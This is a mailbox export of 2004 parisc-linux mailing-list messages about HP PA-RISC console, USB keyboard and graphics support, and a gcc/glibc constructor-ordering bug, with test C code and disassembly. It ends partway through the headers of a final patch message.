> To be honnest, as the builtin gfx card is not (yet and may be never) supported,
> I only use serial console till now.

Which graphics card do you have ?
What does "lspci -v" and/or dmesg (look for "sti:") says ?

Helge


From - Thu Nov 08 21:30:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sti & b2k: doesn't work?
Date: Fri, 30 Jan 2004 12:49:36 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20040130194936.GA14621@colo.lackof.org>
References: <20040130160958.GB12688@colo.lackof.org>
	<4015306100003890@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623163 5282 80.91.229.3 (22 Nov 2014 02:26:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: grundler@lackof.org  Fri Jan 30 12:49:37 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 72CCB4840
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jan 2004 12:49:37 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id AFDB4298057; Fri, 30 Jan 2004 12:49:36 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 15338-04; Fri, 30 Jan 2004 12:49:36 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5C68C298054; Fri, 30 Jan 2004 12:49:36 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <4015306100003890@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 30 Jan 2004 19:49:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20741

On Fri, Jan 30, 2004 at 06:31:31PM +0100, Joel Soete wrote:
> I so have a look:
> in 2.4
> CONFIG_USB_HID=y
> CONFIG_USB_HIDINPUT=y
> 
> Is what I have to use (I also encounter CONFIG_USB_KBD and CONFIG_USB_MOUSE
> but not see how to select with menuconfig?)

I don't have USB_KBD or USB_MOUSE set in my linux-2.4/.config file.
You also have USB_OHCI?

> in 2.6 it is not yet a default: should I also used CONFIG_USB_HID=y; CONFIG_USB_HIDINPUT=y?

yes, among others. See the ftp://ftp.parisc-linux.org/kernels/c3000
for config files and kernels that work on c3000 with STI/USB console.
All the .tgz files have: vmlinuz, .config, System.map, /lib/modules

grant


From - Thu Nov 08 21:30:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B2k and CONFIG_PDC_CONSOLE progress
Date: Fri, 30 Jan 2004 12:55:09 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20040130195509.GA15482@colo.lackof.org>
References: <4015311000001F53@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623163 5286 80.91.229.3 (22 Nov 2014 02:26:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: grundler@lackof.org  Fri Jan 30 12:55:11 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A33548CC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jan 2004 12:55:11 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 7D788298054; Fri, 30 Jan 2004 12:55:10 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 15338-07; Fri, 30 Jan 2004 12:55:10 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E92A629804B; Fri, 30 Jan 2004 12:55:09 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <4015311000001F53@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 30 Jan 2004 19:55:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20742

On Wed, Jan 28, 2004 at 07:05:14PM +0100, Joel Soete wrote:
> Well, i made some small progress: i reach to figure out that PAGE0 status
> changes between pdc_console_init() and pdc_io_getc():
....
> Is somebody have a small idea when this change could occurs?

PDC messes with page0 as well.
You have the read the PDC ERS for each PDC call to determine
what "side effects" it has. Consider Page Zero "shared mem"
for the guest OS (HPUX or Linux) and PDC.

grant


From - Thu Nov 08 21:30:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Constructor not run in 3.3.3, but does run in 3.0.4
Date: Fri, 30 Jan 2004 16:23:36 -0500
Lines: 91
Approved: news@gmane.org
Message-ID: <20040130212336.GS19840@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623163 5290 80.91.229.3 (22 Nov 2014 02:26:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: carlos@baldric.uwo.ca  Fri Jan 30 14:23:26 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep04-mail.bloor.is.net.cable.rogers.com
	(fep04-mail.bloor.is.net.cable.rogers.com [66.185.86.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C94D4854
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jan 2004 14:23:26 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep04-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040130212019.IFPX152673.fep04-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Fri, 30 Jan 2004 16:20:19 -0500
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (98% Sync Ratio [==========])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep04-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Fri,
	30 Jan 2004 16:20:19 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 30 Jan 2004 21:23:27 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20743


jda,

I'm playing with a new glibc, it has the new port to generic function
descriptors...

I have a test application whose 'init' is not being run. The application
has a number of DSO it depends on, and as each DSO loads it prints a
number from its 'init', and as it unloads it prints a number from its
'fini'. The main executable doesn't run its 'init', but does run the
'fini'.

In glibc during dl-init() the loader skips running lt_type == lt_executable
'init' functions. The comment notes that it doesn't have to do that job.
Is this the job of the compiler?

---
#include <unistd.h>

void init (void) __attribute__ ((constructor));
void
__attribute__ ((constructor))
init (void)
{
  write (1, "4", 1);
}

void fini (void) __attribute__ ((destructor));
void
__attribute__ ((destructor))
fini (void)
{
  write (1, "5", 1);
}

extern int dep1 (void); 

int
main (void)
{
  return dep1 () != 42;
}
---

An example of the DSO that is loaded...
---
#include <unistd.h>

extern int dep3 (void); 

static void
__attribute__ ((constructor))
init (void)
{
  write (1, "0", 1);
}

static void
__attribute__ ((destructor))
fini (void)
{
  write (1, "9\n", 2);
}

int
dep3 (void)
{
  return 42;
}
---


When all is said and done it should print '0123456789', but right now it
prints '012356789', skipping '4'. If I compile with gcc-3.0.4 it
complains about:
/home/carlos/src/glibc-work/src/libc/include/unistd.h:71: warning:
`visibility' attribute directive ignored

69 char *__canonicalize_directory_name_internal (__const char *__thisdir,
70                                               char *__buf,
71                                               size_t __size) attribute_hidden;

Seems like a red-herring. However, with gcc-3.0.4 everything works just
fine. The order of the initializers is back to normal.

Is there any fragile system by which the linker finds and labels the
executables 'init'?

c.



From - Thu Nov 08 21:30:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Constructor not run in 3.3.3, but does run in 3.0.4
Date: Fri, 30 Jan 2004 17:55:29 -0500
Lines: 70
Approved: news@gmane.org
Message-ID: <20040130225527.GV19840@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623164 5294 80.91.229.3 (22 Nov 2014 02:26:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Fri Jan 30 15:55:07 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep02-mail.bloor.is.net.cable.rogers.com
	(fep02-mail.bloor.is.net.cable.rogers.com [66.185.86.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 772944856
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jan 2004 15:55:06 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep02-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040130225248.JDDP246674.fep02-mail.bloor.is.net.cable.rogers.com@systemhalted>
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jan 2004 17:52:48 -0500
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (98% Sync Ratio [==========])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep02-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Fri,
	30 Jan 2004 17:52:48 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 30 Jan 2004 22:55:07 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20744

> When all is said and done it should print '0123456789', but right now it
> prints '012356789', skipping '4'. If I compile with gcc-3.0.4 it
> complains about:
> /home/carlos/src/glibc-work/src/libc/include/unistd.h:71: warning:
> `visibility' attribute directive ignored
> 
> 69 char *__canonicalize_directory_name_internal (__const char *__thisdir,
> 70                                               char *__buf,
> 71                                               size_t __size) attribute_hidden;
> 
> Seems like a red-herring. However, with gcc-3.0.4 everything works just
> fine. The order of the initializers is back to normal.
> 
> Is there any fragile system by which the linker finds and labels the
> executables 'init'?

I can see atleast two stubs missing in the gcc-3.3 compiled code:

---
     47         ea a0 c0 00     bv r0(r21)
     48 -       48 33 02 b8     ldw 15c(r1),r19                                
     49 -       2b 60 00 00     addil 0,dp,%r1
     50 -       48 35 02 40     ldw 120(r1),r21                                
     51 -       ea a0 c0 00     bv r0(r21)
     52 -       48 33 02 48     ldw 124(r1),r19                                
     53 -       2b 60 00 00     addil 0,dp,%r1
     54 -       48 35 02 a0     ldw 150(r1),r21                                
     55 -       ea a0 c0 00     bv r0(r21)
     56 -       48 33 02 a8     ldw 154(r1),r19                                
     57 +       48 33 02 b0     ldw 158(r1),r19                            
---

The old code called __do_global_ctors_aux directly, while the new code
seems to be running this through __canonicalize_funcptr_for_compare.
Same can be said for __do_global_dtors_aux.

I started poking the binary in order watch the insn flow, and the code
makes it into __do_global_ctors_aux, but the comparison in 10b9c fails,
and the constructor is never called. I guess I should be reviewing the
generic function pointer code.

---
00010b78 <__do_global_ctors_aux>:
   10b78:       6b c2 3f d9     stw rp,-14(sp)
   10b7c:       6f c4 01 00     stw,ma r4,80(sp)
   10b80:       6b c3 3f 09     stw r3,-7c(sp)
   10b84:       2b 60 00 00     addil 0,dp,%r1
   10b88:       34 23 02 18     ldo 10c(r1),r3
   10b8c:       e8 5f 1d 65     b,l 10a44 <__canonicalize_funcptr_for_compare>,rp
   10b90:       0c 60 10 9a     ldw 0(,r3),r26
   10b94:       34 1a 3f ff     ldi -1,r26
   10b98:       e8 5f 1d 4d     b,l 10a44 <__canonicalize_funcptr_for_compare>,rp
   10b9c:       08 1c 02 44     copy ret0,r4
   10ba0:       80 9c 20 22     cmpb,=,n ret0,r4,10bb8 <__do_global_ctors_aux+0x40>
   10ba4:       0c 60 10 96     ldw 0(,r3),r22
   10ba8:       eb ff 1c fd     b,l 10a2c <$$dyncall>,r31
   10bac:       08 1f 02 42     copy r31,rp
   10bb0:       e8 1f 1f ad     b,l 10b8c <__do_global_ctors_aux+0x14>,r0
   10bb4:       34 63 3f f9     ldo -4(r3),r3
   10bb8:       4b c2 3e d9     ldw -94(sp),rp
   10bbc:       4b c3 3f 09     ldw -7c(sp),r3
   10bc0:       e8 40 c0 00     bv r0(rp)
   10bc4:       4f c4 3f 01     ldw,mb -80(sp),r4
---

In the gcc-3.0.4 code the cffc is gone and the executables init runs
correctly. Time to review a few things :)

c.


From - Thu Nov 08 21:30:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John Telek" <johnt@cybertech.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B2000 and FXE support
Date: Sat, 31 Jan 2004 14:17:34 +1100 (EST)
Lines: 10
Approved: news@gmane.org
Message-ID: <61372.220.240.195.249.1075519054.squirrel@mail.cybertech.net.au>
Reply-To: johnt@cybertech.net.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623164 5299 80.91.229.3 (22 Nov 2014 02:26:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: johnt@cybertech.net.au  Fri Jan 30 19:56:39 2004
Return-Path: <johnt@cybertech.net.au>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cybertech.net.au (t1000.cybertech.net.au [210.8.215.33])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7AC994840
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jan 2004 19:56:37 -0700 (MST)
Original-Received: (from apache@localhost)
	by cybertech.net.au (8.11.6/8.11.6) id i0V3HZV10657;
	Sat, 31 Jan 2004 14:17:35 +1100
X-Authentication-Warning: t1000.cybertech.net.au: apache set sender to
	johnt@cybertech.net.au using -f
Original-Received: from 220.240.195.249 (SquirrelMail authenticated user johnt)
	by mail.cybertech.net.au with HTTP;
	Sat, 31 Jan 2004 14:17:34 +1100 (EST)
User-Agent: SquirrelMail/1.4.1-0.2.7.x
X-Priority: 3
Importance: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 31 Jan 2004 02:56:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20745

I have a B2000 that has two problems.

1) USB keymap is a bit weird. ( Cursor keys don't work )
2) Xserver suport for the FXE gfx card.

does anyone have a config file that sorts out the abouve issues please ???
If they have been fixed that is.

  John


From - Thu Nov 08 21:30:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] canonicalize_funcptr_for_compare,
	needs some thinking about...
Date: Sat, 31 Jan 2004 01:57:20 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20040131065719.GW19840@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623164 5301 80.91.229.3 (22 Nov 2014 02:26:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:04 +0000 (UTC)
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Fri Jan 30 23:56:57 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep03-mail.bloor.is.net.cable.rogers.com
	(fep03-mail.bloor.is.net.cable.rogers.com [66.185.86.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id 642384843
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jan 2004 23:56:57 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep03-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040131065537.NDW302501.fep03-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Sat, 31 Jan 2004 01:55:37 -0500
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (98% Sync Ratio [==========])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep03-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Sat,
	31 Jan 2004 01:55:37 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 31 Jan 2004 06:56:58 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20746


jda,

On a hint from Randolph I decided to look at how cffc works in gcc.
Did I get a big whallop. I didn't mention that I'd modified our
TRAMPOLINE_TEMPLATE, because we weren't correclty passing profile_fixup
the return pointer. Then I realized that cffc magically grok'd the byte
offset into the template to get the jump right :)

I'm going to update the clever list of offsets to check, thanks for
doing that, great for backwards compatibility! Once updated, I'll
recompile gcc, and try another round at the tests.

c.



From - Thu Nov 08 21:30:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B2k and CONFIG_PDC_CONSOLE progress
Date: Sat, 31 Jan 2004 11:54:03 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <401B975B.4020107@tiscali.be>
References: <4015311000001F53@ocpmta2.freegates.net>
	<20040130195509.GA15482@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623165 5304 80.91.229.3 (22 Nov 2014 02:26:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Sat Jan 31 04:51:47 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 82715489D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Jan 2004 04:51:47 -0700 (MST)
Original-Received: from [62.235.122.171] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Amtf8-0001da-69; Sat, 31 Jan 2004 12:51:46 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040122 Debian/1.6-1
X-Accept-Language: en
In-Reply-To: <20040130195509.GA15482@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 31 Jan 2004 11:51:48 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20747

Hi Grant,

Grant Grundler wrote:
> On Wed, Jan 28, 2004 at 07:05:14PM +0100, Joel Soete wrote:
> 
>>Well, i made some small progress: i reach to figure out that PAGE0 status
>>changes between pdc_console_init() and pdc_io_getc():
> 
> ....
> 
>>Is somebody have a small idea when this change could occurs?
> 
> 
> PDC messes with page0 as well.
> You have the read the PDC ERS for each PDC call to determine
> what "side effects" it has. Consider Page Zero "shared mem"
> for the guest OS (HPUX or Linux) and PDC.
> 
Ha ok, I still have to learn more :)

For the moment I reach to avoid any crash of 2.4 with pdc_console either I boot from graphics(0) or serial_1.
My patch works well (i can read from pdc kdb) for serial_1 but for graphics(0), I get well a login prompt from pdc
but unfortunately I don't yet reach to read from usb kbd.
But does it make sense to have pdc_console when we have an sti console?
(imho it have well sense for a serial and lan console. Please advise.)

Thanks again,
	Joel


From - Thu Nov 08 21:30:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] gcc/config/pa/ftpr.c fixes for new
	TRAMPOLINE_TEMPLATE in hppa's glibc.
Date: Sat, 31 Jan 2004 17:28:33 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <20040131222832.GB19840@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623165 5306 80.91.229.3 (22 Nov 2014 02:26:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:05 +0000 (UTC)
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Sat Jan 31 15:28:10 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep04-mail.bloor.is.net.cable.rogers.com
	(fep04-mail.bloor.is.net.cable.rogers.com [66.185.86.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA1EC4857
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Jan 2004 15:28:09 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep04-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040131222513.FCTO248062.fep04-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Sat, 31 Jan 2004 17:25:13 -0500
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (98% Sync Ratio [==========])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep04-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Sat,
	31 Jan 2004 17:25:13 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
